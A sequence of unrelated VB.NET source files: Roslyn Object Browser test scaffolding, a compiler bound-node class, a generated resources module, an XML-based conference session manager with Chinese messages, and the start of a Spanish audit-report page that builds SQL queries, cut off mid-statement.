' Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. Imports System.Runtime.ExceptionServices Imports Microsoft.CodeAnalysis.Editor.UnitTests Imports Microsoft.CodeAnalysis.Editor.UnitTests.Workspaces Imports Microsoft.CodeAnalysis.Test.Utilities Imports Microsoft.VisualStudio.ComponentModelHost Imports Microsoft.VisualStudio.LanguageServices.Implementation.Library.ObjectBrowser Imports Microsoft.VisualStudio.LanguageServices.UnitTests.ObjectBrowser.Mocks Namespace Microsoft.VisualStudio.LanguageServices.UnitTests.ObjectBrowser <[UseExportProvider]> Public MustInherit Class AbstractObjectBrowserTests Protected MustOverride ReadOnly Property LanguageName As String Protected Function GetWorkspaceDefinition(code As XElement) As XElement Return <Workspace> <Project Language=<%= LanguageName %> CommonReferences="true"> <Document><%= code.Value.Trim() %></Document> </Project> </Workspace> End Function Protected Function GetWorkspaceDefinition(code As XElement, metaDataCode As XElement, commonReferences As Boolean) As XElement Return <Workspace> <Project Language=<%= LanguageName %> CommonReferences=<%= commonReferences %>> <Document><%= code.Value.Trim() %></Document> <MetadataReferenceFromSource Language=<%= LanguageName %> CommonReferences="true"> <Document><%= metaDataCode.Value.Trim() %></Document> </MetadataReferenceFromSource> </Project> </Workspace> End Function <HandleProcessCorruptedStateExceptions()> Friend Function CreateLibraryManager(definition As XElement) As TestState Dim workspace = TestWorkspace.Create(definition, exportProvider:=VisualStudioTestExportProvider.Factory.CreateExportProvider()) Dim result As TestState = Nothing Try Dim vsWorkspace = New MockVisualStudioWorkspace(workspace) Dim mockComponentModel = New MockComponentModel(workspace.ExportProvider) mockComponentModel.ProvideService(Of VisualStudioWorkspace)(vsWorkspace) Dim mockServiceProvider = New MockServiceProvider(mockComponentModel) Dim libraryManager = CreateLibraryManager(mockServiceProvider, mockComponentModel, vsWorkspace) result = New TestState(workspace, libraryManager) Finally If result Is Nothing Then workspace.Dispose() End If End Try Return result End Function Friend MustOverride Function CreateLibraryManager(serviceProvider As IServiceProvider, componentModel As IComponentModel, workspace As VisualStudioWorkspace) As AbstractObjectBrowserLibraryManager Friend Function ProjectNode(name As String) As NavInfoNodeDescriptor Return New NavInfoNodeDescriptor With {.Kind = ObjectListKind.Projects, .Name = name} End Function Friend Function NamespaceNode(name As String) As NavInfoNodeDescriptor Return New NavInfoNodeDescriptor With {.Kind = ObjectListKind.Namespaces, .Name = name} End Function Friend Function TypeNode(name As String) As NavInfoNodeDescriptor Return New NavInfoNodeDescriptor With {.Kind = ObjectListKind.Types, .Name = name} End Function End Class End Namespace
' Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. Imports Microsoft.CodeAnalysis.Text Imports Microsoft.CodeAnalysis.VisualBasic.Symbols Imports Microsoft.CodeAnalysis.VisualBasic.Syntax Namespace Microsoft.CodeAnalysis.VisualBasic Friend Partial Class BoundReferenceAssignment #If DEBUG Then Private Sub Validate() Debug.Assert(ByRefLocal.LocalSymbol.IsByRef AndAlso LValue.IsLValue AndAlso TypeSymbol.Equals(Type, LValue.Type, TypeCompareKind.ConsiderEverything)) End Sub #End If Protected Overrides Function MakeRValueImpl() As BoundExpression Return MakeRValue() End Function Public Shadows Function MakeRValue() As BoundReferenceAssignment If _IsLValue Then Return Update(ByRefLocal, LValue, False, Type) End If Return Me End Function End Class End Namespace
'------------------------------------------------------------------------------ ' <auto-generated> ' Dieser Code wurde von einem Tool generiert. ' Laufzeitversion:4.0.30319.1 ' ' Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn ' der Code erneut generiert wird. ' </auto-generated> '------------------------------------------------------------------------------ Option Strict On Option Explicit On Imports System Namespace My.Resources 'Diese Klasse wurde von der StronglyTypedResourceBuilder automatisch generiert '-Klasse über ein Tool wie ResGen oder Visual Studio automatisch generiert. 'Um einen Member hinzuzufügen oder zu entfernen, bearbeiten Sie die .ResX-Datei und führen dann ResGen 'mit der /str-Option erneut aus, oder Sie erstellen Ihr VS-Projekt neu. '''<summary> ''' Eine stark typisierte Ressourcenklasse zum Suchen von lokalisierten Zeichenfolgen usw. '''</summary> <Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _ Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _ Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _ Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _ Friend Module Resources Private resourceMan As Global.System.Resources.ResourceManager Private resourceCulture As Global.System.Globalization.CultureInfo '''<summary> ''' Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird. '''</summary> <Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager Get If Object.ReferenceEquals(resourceMan, Nothing) Then Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("MiscExamplesVB4.Resources", GetType(Resources).Assembly) resourceMan = temp End If Return resourceMan End Get End Property '''<summary> ''' Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle ''' Ressourcenzuordnungen, die diese stark typisierte Ressourcenklasse verwenden. '''</summary> <Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Friend Property Culture() As Global.System.Globalization.CultureInfo Get Return resourceCulture End Get Set resourceCulture = value End Set End Property End Module End Namespace
Imports System.Xml Imports StandardConfData.MyInfo Public Class xmlsaveload Public Shared Sub CreateMeting(path As String, NewConference As Conference) My.Computer.FileSystem.CreateDirectory(path + "custom_lists") My.Computer.FileSystem.CreateDirectory(path + "media") My.Computer.FileSystem.CreateDirectory(path + "presentation_papers") Dim myTW As New XmlTextWriter(path + "config.xml", Nothing) myTW.WriteStartDocument() myTW.Formatting = Formatting.Indented myTW.WriteStartElement("Conference") myTW.WriteAttributeString("myversion", 0) myTW.WriteAttributeString("myscene", NewMeeting.ComboBox1.SelectedItem.ToString) myTW.WriteStartElement("Basic") myTW.WriteAttributeString("myrule", Convert.ChangeType(NewConference.myrule, [Enum].GetUnderlyingType(GetType(UsingRule))).ToString) myTW.WriteAttributeString("languange", Convert.ChangeType(NewConference.language, [Enum].GetUnderlyingType(GetType(WerkLanguage))).ToString) myTW.WriteElementString("conference", NewConference.ConferenceTitle) myTW.WriteElementString("committee", NewConference.Committee) myTW.WriteStartElement("topic") myTW.WriteAttributeString("topicSelection", Convert.ChangeType(NewConference.topicSel, [Enum].GetUnderlyingType(GetType(TopicSelection))).ToString) myTW.WriteElementString("topic-0", NewConference.Topic(0)) myTW.WriteElementString("topic-1", NewConference.Topic(1)) myTW.WriteEndElement() myTW.WriteEndElement() myTW.WriteStartElement("Config") myTW.WriteAttributeString("session", 0) myTW.WriteElementString("isStarted", False) myTW.WriteElementString("presentWhenRoll", 0) myTW.WriteEndElement() myTW.WriteStartElement("ClockSettings") myTW.WriteAttributeString("isCabinet", False) myTW.WriteAttributeString("isRunningOnClose", False) myTW.WriteElementString("cabinTime", DateTime.Now.ToString("G", Globalization.CultureInfo.CreateSpecificCulture("en-us")) + "#") myTW.WriteElementString("CloseTime", DateTime.Now.ToString("G", Globalization.CultureInfo.CreateSpecificCulture("en-us")) + "#") myTW.WriteElementString("rawrate", 0) myTW.WriteElementString("Jetlag", 8) myTW.WriteEndElement() 'myTW.WriteStartElement("Nations") 'Dim n As Integer 'Do While n < NewMeeting.ListBox1.Items.Count ' myTW.WriteStartElement("nation") ' myTW.WriteAttributeString("name", NewMeeting.ListBox1.Items(n).ToString) ' myTW.WriteAttributeString("isPresent", False) ' myTW.WriteEndElement() ' n = n + 1 'Loop 'myTW.WriteEndElement() myTW.WriteStartElement("speakerslist") myTW.WriteAttributeString("slTotal", 0) myTW.WriteAttributeString("slCurrent", 0) myTW.WriteAttributeString("slTime", 120) myTW.WriteEndElement() myTW.WriteStartElement("files") myTW.WriteEndElement() myTW.WriteEndElement() myTW.WriteEndDocument() myTW.Close() Dim xmlDoc As New XmlDocument() xmlDoc.Load(Form1.lastPath + "config.xml") Dim xnNationlist As XmlNode = xmlDoc.SelectSingleNode("Conference") xnNationlist.InsertAfter(XmlAccess.SetToXml.SetNations(Form1.nNationList, xmlDoc), xnNationlist.ChildNodes(2)) xmlDoc.Save(Form1.lastPath + "config.xml") StandardConfData.Record.RecordWriter.Create(Form1.lastPath, "ConferenceRecord") End Sub Public Shared Sub loadbasic() Dim myVersie As Integer Dim xmlDoc As New XmlDocument() Try xmlDoc.Load(Form1.lastPath + "config.xml") Catch ex As Exception MessageBox.Show("无法打开该会议数据文件!", "Easychair", MessageBoxButtons.OK, MessageBoxIcon.Error) Exit Sub End Try Dim xnIntro As XmlNode = xmlDoc.SelectSingleNode("Conference") Dim xeIntro As XmlElement = CType(xnIntro, XmlElement) myVersie = Val(xeIntro.GetAttribute("myversion")) Form1.myScene = xeIntro.GetAttribute("myscene") Dim xnBasic As XmlNode = xmlDoc.SelectSingleNode("Conference/Basic") Form1.LoadedConference = XmlAccess.GetFromXml.GetConferenceInfo(xnBasic) Dim xnCongif As XmlNode = xmlDoc.SelectSingleNode("Conference/Config") Dim xeCongif As XmlElement = CType(xnCongif, XmlElement) '将子节点类型转换为XmlElement类型 Form1.session = xeCongif.GetAttribute("session") Dim xeIsStarted As XmlElement = CType(xnCongif.FirstChild, XmlElement) Form1.isStarted = xeIsStarted.InnerText Dim xnPWR As XmlNode = xmlDoc.SelectSingleNode("Conference/Config/presentWhenRoll") Form1.presentWhenRoll = xnPWR.InnerText If Form1.isStarted And Form1.presentWhenRoll > 0 Then Dock_NationList.dianmingstatus = "点名已完成" 'Dock_NationList.Button1.Enabled = False 'Dock_NationList.Button2.Enabled = False End If Dim xnClock As XmlNode = xmlDoc.SelectSingleNode("Conference/ClockSettings") Form1.nCabinetSetting = XmlAccess.GetFromXml.GetCabinetSetting(xnClock) Dim xmlDoc1 As New XmlDocument() xmlDoc1.Load(Form1.lastPath + "record.xml") Dim xnRecord As XmlNode = xmlDoc1.SelectSingleNode("ConferenceRecord") Dim xeRecord As XmlElement = CType(xnRecord, XmlElement) Form1.recIndex = xeRecord.GetAttribute("recordIndex") End Sub Public Shared Sub loadAttendance() Dim xmlDoc As New XmlDocument() xmlDoc.Load(Form1.lastPath + "config.xml") Dim xnBase As XmlNode = xmlDoc.SelectSingleNode("Conference") Dim xeBase As XmlElement = CType(xnBase, XmlElement) Dim xnNation As XmlNode = xmlDoc.SelectSingleNode("Conference/Nations") Form1.nNationList = XmlAccess.GetFromXml.GetNationList(xnNation) 'Dim xnfile As XmlNode = xmlDoc.SelectSingleNode("Conference/files") 'Dim xefile As XmlElement = CType(xnfile, XmlElement) '将子节点类型转换为XmlElement类型 'Form1.nFileList = XmlAccess.GetFromXml.GetFileList(xnfile, Form1.nNationList) 'Dim xnNations As XmlNodeList = xnNation.ChildNodes 'Dim p1, i As Integer 'For Each XmlNode In xnNations ' Dim xnSingleNations As XmlElement = XmlNode ' Dock_NationList.clb_nation_main.Items.Add(xnSingleNations.GetAttribute("name")) ' If xnSingleNations.GetAttribute("isPresent") = "True" Then ' Dock_NationList.clb_nation_main.SetItemCheckState(i, CheckState.Checked) ' p1 = p1 + 1 ' Else ' Dock_NationList.clb_nation_main.SetItemCheckState(i, CheckState.Unchecked) ' End If ' i = i + 1 'Next 'Call Dock_NationList.pcalc(Form1.GetAttendentNumber) End Sub Public Shared Sub loadSL() Dim xmlDoc As New XmlDocument() xmlDoc.Load(Form1.lastPath + "config.xml") Dim xnBase As XmlNode = xmlDoc.SelectSingleNode("Conference") Dim xeBase As XmlElement = CType(xnBase, XmlElement) Dim xnNation As XmlNode = xmlDoc.SelectSingleNode("Conference/speakerslist") Dim xeSL As XmlElement = CType(xnNation, XmlElement) SpeakersList.slTotal = xeSL.GetAttribute("slTotal") SpeakersList.slCurrent = xeSL.GetAttribute("slCurrent") SpeakersList.slTime = New Integer() {(xeSL.GetAttribute("slTime")) Mod 60, (xeSL.GetAttribute("slTime")) \ 60} Dim xnSLnations As XmlNodeList = xnNation.ChildNodes Dim i As Integer = 1 For Each XmlNode In xnSLnations Dim xeEachNation As XmlElement = CType(XmlNode, XmlElement) Dim singleItme(3) As String SpeakersList.slNations(i) = xeEachNation.GetAttribute("name") SpeakersList.slIsSpoken(i) = xeEachNation.GetAttribute("Referencenr") singleItme(1) = SpeakersList.slNations(i) If Dock_SpeakersList.ListView1.Items.Count = SpeakersList.slCurrent Then singleItme(0) = ">" Dock_SpeakersList.ListView1.Items.Add(New ListViewItem(singleItme)) i = i + 1 Next Dock_SpeakersList.txt_spl_totalnumber.Text = SpeakersList.slTotal + 1 If SpeakersList.slTotal > 0 Then Dock_SpeakersList.txt_spl_currentnunber.Text = SpeakersList.slCurrent + 1 Dock_SpeakersList.txt_spl_current.Text = SpeakersList.slNations(SpeakersList.slCurrent + 1) End If End Sub Public Shared Sub loadFile() Dim xmlDoc As New XmlDocument() xmlDoc.Load(Form1.lastPath + "config.xml") Dim xnfile As XmlNode = xmlDoc.SelectSingleNode("Conference/files") Dim xefile As XmlElement = CType(xnfile, XmlElement) '将子节点类型转换为XmlElement类型 Form1.nFileList = XmlAccess.GetFromXml.GetFileList(xnfile, Form1.nNationList) End Sub Public Shared Sub saveAttendance(Optional rollcall As Boolean = False) Dim xmlDoc As New XmlDocument() xmlDoc.Load(Form1.lastPath + "config.xml") Dim xnNation As XmlNode = xmlDoc.SelectSingleNode("Conference/Nations") XmlAccess.ModifyXML.ModifyAttendence(Form1.nNationList, xnNation) 'xnNation.RemoveAll() 'Dim xeNation As XmlElement = xmlDoc.CreateElement("Nations") 'Dim n As Integer 'Do While n < Dock_NationList.clb_nation_main.Items.Count ' Dim xeSingleNation As XmlElement = xmlDoc.CreateElement("nation") ' xeSingleNation.SetAttribute("name", Dock_NationList.clb_nation_main.Items(n).ToString) ' xeSingleNation.SetAttribute("isPresent", Dock_NationList.clb_nation_main.GetItemChecked(n)) ' xnNation.AppendChild(xeSingleNation) ' n = n + 1 'Loop 'xeBase.InsertAfter(xeNation, xmlDoc.SelectSingleNode("Conference/ClockSettings")) If rollcall Then Dim xnPWR As XmlNode = xmlDoc.SelectSingleNode("Conference/Config/presentWhenRoll") xnPWR.InnerText = Form1.presentWhenRoll End If xmlDoc.Save(Form1.lastPath + "config.xml") End Sub Public Shared Sub ModifyStarted() Dim xmlDoc As New XmlDocument() xmlDoc.Load(Form1.lastPath + "config.xml") Dim xnCongif As XmlNode = xmlDoc.SelectSingleNode("Conference/Config") Dim xeCongif As XmlElement = CType(xnCongif, XmlElement) '将子节点类型转换为XmlElement类型 xeCongif.SetAttribute("session", Form1.session) Dim xnIsStarted As XmlNode = xmlDoc.SelectSingleNode("Conference/Config/isStarted") xnIsStarted.InnerText = Form1.isStarted xmlDoc.Save(Form1.lastPath + "config.xml") End Sub Public Shared Sub ModifyNation(index As Integer, nation As Nation) Dim xmlDoc As New XmlDocument() xmlDoc.Load(Form1.lastPath + "config.xml") Dim xnBase As XmlNode = xmlDoc.SelectSingleNode("Conference") Dim xeBase As XmlElement = CType(xnBase, XmlElement) Dim xnNation As XmlNode = xmlDoc.SelectSingleNode("Conference/Nations") xnNation.ReplaceChild(XmlAccess.SetToXml.SetNation(nation, xmlDoc), xnNation.ChildNodes(index)) 'xnNation.RemoveAll() 'Dim xeNation As XmlElement = xmlDoc.CreateElement("Nations") 'Dim n As Integer 'Do While n < Dock_NationList.clb_nation_main.Items.Count ' Dim xeSingleNation As XmlElement = xmlDoc.CreateElement("nation") ' xeSingleNation.SetAttribute("name", Dock_NationList.clb_nation_main.Items(n).ToString) ' xeSingleNation.SetAttribute("isPresent", Dock_NationList.clb_nation_main.GetItemChecked(n)) ' xnNation.AppendChild(xeSingleNation) ' n = n + 1 'Loop 'xeBase.InsertAfter(xeNation, xmlDoc.SelectSingleNode("Conference/ClockSettings")) xmlDoc.Save(Form1.lastPath + "config.xml") End Sub Public Shared Sub slAddNationToConfig(nation As String, total As Integer) Dim xmlDoc As New XmlDocument() xmlDoc.Load(Form1.lastPath + "config.xml") Dim xnBase As XmlNode = xmlDoc.SelectSingleNode("Conference") Dim xeBase As XmlElement = CType(xnBase, XmlElement) Dim xnNation As XmlNode = xmlDoc.SelectSingleNode("Conference/speakerslist") Dim xeSL As XmlElement = CType(xnNation, XmlElement) xeSL.SetAttribute("slTotal", total) Dim xeSingleNation As XmlElement = xmlDoc.CreateElement("nation") xeSingleNation.SetAttribute("name", nation) xeSingleNation.SetAttribute("Referencenr", 0) xnNation.AppendChild(xeSingleNation) xmlDoc.Save(Form1.lastPath + "config.xml") End Sub Public Shared Sub slNext(current As Integer) Dim xmlDoc As New XmlDocument() xmlDoc.Load(Form1.lastPath + "config.xml") Dim xnBase As XmlNode = xmlDoc.SelectSingleNode("Conference") Dim xeBase As XmlElement = CType(xnBase, XmlElement) Dim xnNation As XmlNode = xmlDoc.SelectSingleNode("Conference/speakerslist") Dim xeSL As XmlElement = CType(xnNation, XmlElement) xeSL.SetAttribute("slCurrent", current) Dim xnSingleNation As XmlNode = xnNation.ChildNodes(current - 1) Dim xeSN As XmlElement = CType(xnSingleNation, XmlElement) xeSN.SetAttribute("Referencenr", Form1.recIndex) xmlDoc.Save(Form1.lastPath + "config.xml") End Sub Public Shared Sub ClosingClock() Dim xmlDoc As New XmlDocument() xmlDoc.Load(Form1.lastPath + "config.xml") Dim xnCongif As XmlNode = xmlDoc.SelectSingleNode("Conference/Config") Dim xeCongif As XmlElement = CType(xnCongif, XmlElement) '将子节点类型转换为XmlElement类型 xeCongif.SetAttribute("session", Form1.session) Dim xeIsStarted As XmlElement = CType(xnCongif.FirstChild, XmlElement) xeIsStarted.InnerText = Form1.isStarted Dim xePresentWhenRoll As XmlElement = CType(xnCongif.FirstChild.NextSibling, XmlElement) xePresentWhenRoll.InnerText = Form1.presentWhenRoll xmlDoc.Save(Form1.lastPath + "config.xml") '保存。 If Form1.isStarted Then Dim running As Boolean = True Dim xnClock As XmlNode = xmlDoc.SelectSingleNode("Conference/ClockSettings") Dim isRunningOnClose As DialogResult = MessageBox.Show("是否冻结时间轴?", "时间轴设定", MessageBoxButtons.YesNo, MessageBoxIcon.Question) If isRunningOnClose = DialogResult.Yes Then running = False XmlAccess.ModifyXML.ModifyClockSetting(Form1.nCabinetSetting, xnClock, running) End If End Sub Public Shared Sub SaveClock(dialog As Boolean) Dim xmlDoc As New XmlDocument() xmlDoc.Load(Form1.lastPath + "config.xml") Dim running As Boolean = True Dim xnClock As XmlNode = xmlDoc.SelectSingleNode("Conference/ClockSettings") Dim isRunningOnClose As DialogResult = DialogResult.No If dialog Then isRunningOnClose = MessageBox.Show("是否冻结时间轴?", "时间轴设定", MessageBoxButtons.YesNo, MessageBoxIcon.Question) End If If isRunningOnClose = DialogResult.Yes Then running = False XmlAccess.ModifyXML.ModifyClockSetting(Form1.nCabinetSetting, xnClock, running) xmlDoc.Save(Form1.lastPath + "config.xml") '保存。 End Sub Public Shared Sub AddFile(filename As String, pathname As String, type As Files) Dim type1 = Convert.ChangeType(type, [Enum].GetUnderlyingType(GetType(Files))) Dim xmlDoc As New XmlDocument() xmlDoc.Load(Form1.lastPath + "config.xml") Dim xnBase As XmlNode = xmlDoc.SelectSingleNode("Conference") Dim xeBase As XmlElement = CType(xnBase, XmlElement) Dim xnFile As XmlNode = xmlDoc.SelectSingleNode("Conference/files") Dim xeSL As XmlElement = CType(xnFile, XmlElement) Dim xnSingleFile As XmlElement = xmlDoc.CreateElement("file") xnSingleFile.SetAttribute("name", filename) xnSingleFile.SetAttribute("type", type1) xnSingleFile.InnerText = pathname xnFile.AppendChild(xnSingleFile) xmlDoc.Save(Form1.lastPath + "config.xml") End Sub Public Shared Sub AddFile2(file As File) Dim xmlDoc As New XmlDocument() xmlDoc.Load(Form1.lastPath + "config.xml") Dim xnFile As XmlNode = xmlDoc.SelectSingleNode("Conference/files") Dim xeFile As XmlElement = CType(xnFile, XmlElement) xnFile.AppendChild(XmlAccess.SetToXml.SetFile(file, xmlDoc)) xmlDoc.Save(Form1.lastPath + "config.xml") End Sub Public Shared Sub CreateRecord(index As Integer, catogory As String, Optional approved As Boolean = False) index = index + 1 Dim xmlDoc As New XmlDocument() xmlDoc.Load(Form1.lastPath + "record.xml") Dim xnRecord As XmlNode = xmlDoc.SelectSingleNode("ConferenceRecord") Dim xeRecord As XmlElement = CType(xnRecord, XmlElement) xeRecord.SetAttribute("recordIndex", index) Dim xeSingleRecord As XmlElement = xmlDoc.CreateElement("record") xeSingleRecord.SetAttribute("index", index) xeSingleRecord.SetAttribute("category", catogory) Dim xnStartTime As XmlNode = xmlDoc.CreateElement("StartDate") xnStartTime.InnerText = "#" + DateTime.Now.ToString("G", Globalization.CultureInfo.CreateSpecificCulture("en-us")) + "#" xeSingleRecord.AppendChild(xnStartTime) Select Case catogory Case "ST" Dim xnSession As XmlNode = xmlDoc.CreateElement("session") xnSession.InnerText = Form1.session xeSingleRecord.AppendChild(xnSession) Case "RC" Dim xnPresents As XmlNode = xmlDoc.CreateElement("presents") xnPresents.InnerText = Dock_NationList.pCount() xeSingleRecord.AppendChild(xnPresents) Case "SL" Dim xnSL As XmlNode = xmlDoc.CreateElement("nation") xnSL.InnerText = SpeakersList.slNations(SpeakersList.slCurrent + 1) xeSingleRecord.AppendChild(xnSL) Case "MC" Dim xeMCtitle As XmlElement = xmlDoc.CreateElement("mclist") xeMCtitle.SetAttribute("nation", Motion.TextBox1.Text) xeMCtitle.SetAttribute("topic", Motion.TextBox2.Text) xeMCtitle.SetAttribute("k", Motion.num_m_umc.Value) xeMCtitle.SetAttribute("i", Motion.num_m_mc_2.Value) xeMCtitle.SetAttribute("approved", approved) xeSingleRecord.AppendChild(xeMCtitle) Case "UMC", "mTB" Dim xeUMC As XmlElement = xmlDoc.CreateElement("timer") xeUMC.SetAttribute("nation", Motion.TextBox1.Text) xeUMC.SetAttribute("k", Motion.num_m_umc.Value) xeUMC.SetAttribute("approved", approved) xeSingleRecord.AppendChild(xeUMC) Case "AT" Dim xeChangetime As XmlElement = xmlDoc.CreateElement("mclist") xeChangetime.SetAttribute("nation", Motion.TextBox1.Text) xeChangetime.SetAttribute("mm", Motion.num_m_spl_1.Value) xeChangetime.SetAttribute("ss", Motion.num_m_spl_2.Value) xeChangetime.SetAttribute("approved", approved) xeSingleRecord.AppendChild(xeChangetime) Case "AO", "VT", "mVT" Dim xeFileAcc As XmlElement = xmlDoc.CreateElement("voting") If catogory = "VT" Then xeFileAcc.SetAttribute("file", Vote.FileName) Else xeFileAcc.SetAttribute("nation", Motion.TextBox1.Text) If Not Motion.cbx_mfileselect.SelectedItem Is Nothing Then xeFileAcc.SetAttribute("file", Motion.cbx_mfileselect.SelectedItem.ToString) End If xeFileAcc.SetAttribute("approved", approved) End If xeSingleRecord.AppendChild(xeFileAcc) Case "ED", "XH" Dim xeEndebate As XmlElement = xmlDoc.CreateElement("ending") xeEndebate.SetAttribute("nation", Motion.TextBox1.Text) If catogory = "XH" Then xeEndebate.SetAttribute("session", Form1.session) xeEndebate.SetAttribute("approved", approved) xeSingleRecord.AppendChild(xeEndebate) Case "FI" Dim xeFileIntro As XmlElement = xmlDoc.CreateElement("fileintro") xeFileIntro.SetAttribute("file", NewFile.filename) xeFileIntro.SetAttribute("timer", NewFile.num_file.Value) xeFileIntro.SetAttribute("path", NewFile.filename + ".html") xeSingleRecord.AppendChild(xeFileIntro) Dim xnSponsors As XmlNode = xmlDoc.CreateElement("sponsors") xnSponsors.InnerText = NewFile.txt_file_sponsors.Text xeFileIntro.AppendChild(xnSponsors) Dim xnSignatories As XmlNode = xmlDoc.CreateElement("signatories") xnSignatories.InnerText = NewFile.txt_file_signatories.Text xeFileIntro.AppendChild(xnSignatories) Case "CR" Dim xeFileIntro As XmlElement = xmlDoc.CreateElement("crisis") xeFileIntro.SetAttribute("file", NewCrisis.filename123) xeFileIntro.SetAttribute("timer", NewCrisis.time) xeFileIntro.SetAttribute("path", NewCrisis.filename123 + ".html") xeSingleRecord.AppendChild(xeFileIntro) End Select xnRecord.AppendChild(xeSingleRecord) xmlDoc.Save(Form1.lastPath + "record.xml") Form1.recIndex = index End Sub End Class
Imports System.Data Imports cusAplicacion Partial Class rAuditorias_Usuarios_Ipos Inherits vis2formularios.frmReporte Dim loObjetoReporte As CrystalDecisions.CrystalReports.Engine.ReportDocument Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load Try Dim lcParametro0Desde As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosIniciales(0), goServicios.enuOpcionesRedondeo.KN_FechaInicioDelDia) Dim lcParametro0Hasta As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosFinales(0), goServicios.enuOpcionesRedondeo.KN_FechaFinDelDia) Dim lcParametro1Desde As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosIniciales(1)) Dim lcParametro1Hasta As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosFinales(1)) Dim lcParametro2Desde AS String = cusAplicacion.goReportes.paParametrosIniciales(2) Dim lcParametro3Desde AS String = cusAplicacion.goReportes.paParametrosIniciales(3) Dim lcOrdenamiento As String = cusAplicacion.goReportes.pcOrden Dim loComandoSeleccionar As New StringBuilder() Dim ldFecha As DateTime = cusAplicacion.goReportes.paParametrosIniciales(0) Dim ldFechaFinal As DateTime = cusAplicacion.goReportes.paParametrosFinales(0) '************ INSTRUCCION PARA CREAR LA TABLA DE CADA AÑO, MES ************************* loComandoSeleccionar.AppendLine("CREATE TABLE #tmpDias(Año INT, Mes INT, Dia INT)") If lcParametro2Desde = "No" AND lcParametro3Desde = "No" Then If ldFecha.DayOfWeek <> DayOfWeek.Saturday AND ldFecha.DayOfWeek <> DayOfWeek.Sunday Then loComandoSeleccionar.AppendLine("INSERT INTO #tmpDias VALUES(" & ldFecha.Year & " , " & ldFecha.Month & " , " & ldFecha.Day & ")") End If Else If lcParametro2Desde = "Si" AND lcParametro3Desde = "No" Then If ldFecha.DayOfWeek <> DayOfWeek.Sunday Then loComandoSeleccionar.AppendLine("INSERT INTO #tmpDias VALUES(" & ldFecha.Year & " , " & ldFecha.Month & " , " & ldFecha.Day & ")") End If Else If lcParametro2Desde = "No" AND lcParametro3Desde = "Si" Then If ldFecha.DayOfWeek <> DayOfWeek.Saturday Then loComandoSeleccionar.AppendLine("INSERT INTO #tmpDias VALUES(" & ldFecha.Year & " , " & ldFecha.Month & " , " & ldFecha.Day & ")") End If Else loComandoSeleccionar.AppendLine("INSERT INTO #tmpDias VALUES(" & ldFecha.Year & " , " & ldFecha.Month & " , " & ldFecha.Day & ")") End If End If End If While ldFecha < ldFechaFinal ldFecha = ldFecha.AddDays(1) If lcParametro2Desde = "No" AND lcParametro3Desde = "No" Then If ldFecha.DayOfWeek <> DayOfWeek.Saturday AND ldFecha.DayOfWeek <> DayOfWeek.Sunday Then loComandoSeleccionar.AppendLine("INSERT INTO #tmpDias VALUES(" & ldFecha.Year & " , " & ldFecha.Month & " , " & ldFecha.Day & ")") End If Else If lcParametro2Desde = "Si" AND lcParametro3Desde = "No" Then If ldFecha.DayOfWeek <> DayOfWeek.Sunday Then loComandoSeleccionar.AppendLine("INSERT INTO #tmpDias VALUES(" & ldFecha.Year & " , " & ldFecha.Month & " , " & ldFecha.Day & ")") End If Else If lcParametro2Desde = "No" AND lcParametro3Desde = "Si" Then If ldFecha.DayOfWeek <> DayOfWeek.Saturday Then loComandoSeleccionar.AppendLine("INSERT INTO #tmpDias VALUES(" & ldFecha.Year & " , " & ldFecha.Month & " , " & ldFecha.Day & ")") End If Else loComandoSeleccionar.AppendLine("INSERT INTO #tmpDias VALUES(" & ldFecha.Year & " , " & ldFecha.Month & " , " & ldFecha.Day & ")") End If End If End If End While loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("--************************* ENCUENTRA LAS DOS PRIMERAS FECHAS DE ENTRADA DEL USUARIO**************** ") loComandoSeleccionar.AppendLine("SELECT") loComandoSeleccionar.AppendLine(" Auditorias.Cod_Usu,") loComandoSeleccionar.AppendLine(" Auditorias.Registro, ") loComandoSeleccionar.AppendLine(" ROW_NUMBER() OVER(PARTITION BY Auditorias.Cod_Usu, ") loComandoSeleccionar.AppendLine(" DATEPART(YEAR,Registro),DATEPART(MONTH,Registro),") loComandoSeleccionar.AppendLine(" DATEPART(DAY,Registro) ORDER BY Auditorias.Cod_Usu ASC, Auditorias.Registro) AS Item") loComandoSeleccionar.AppendLine("INTO #tmpTemporal_Entrada ") loComandoSeleccionar.AppendLine("FROM Auditorias ") loComandoSeleccionar.AppendLine("WHERE Tabla = 'Usuarios' AND (ACCION = 'Acceso') AND Tipo='Seguimiento'") loComandoSeleccionar.AppendLine(" AND Registro Between " & lcParametro0Desde) loComandoSeleccionar.AppendLine(" AND " & lcParametro0Hasta) loComandoSeleccionar.AppendLine(" AND Cod_Usu Between " & lcParametro1Desde) loComandoSeleccionar.AppendLine(" AND " & lcParametro1Hasta) loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("") loComandoSeleccionar.AppendLine("--************************* ENCUENTRA LAS DOS PRIMERAS FECHAS DE SALIDA DEL USUARIO**************** ") loComandoSeleccionar.AppendLine("SELECT") loComandoSeleccionar.AppendLine(" Auditorias.Cod_Usu,") loComandoSeleccionar.AppendLine(" Auditorias.Registro, ") loComandoSeleccionar.AppendLine(" 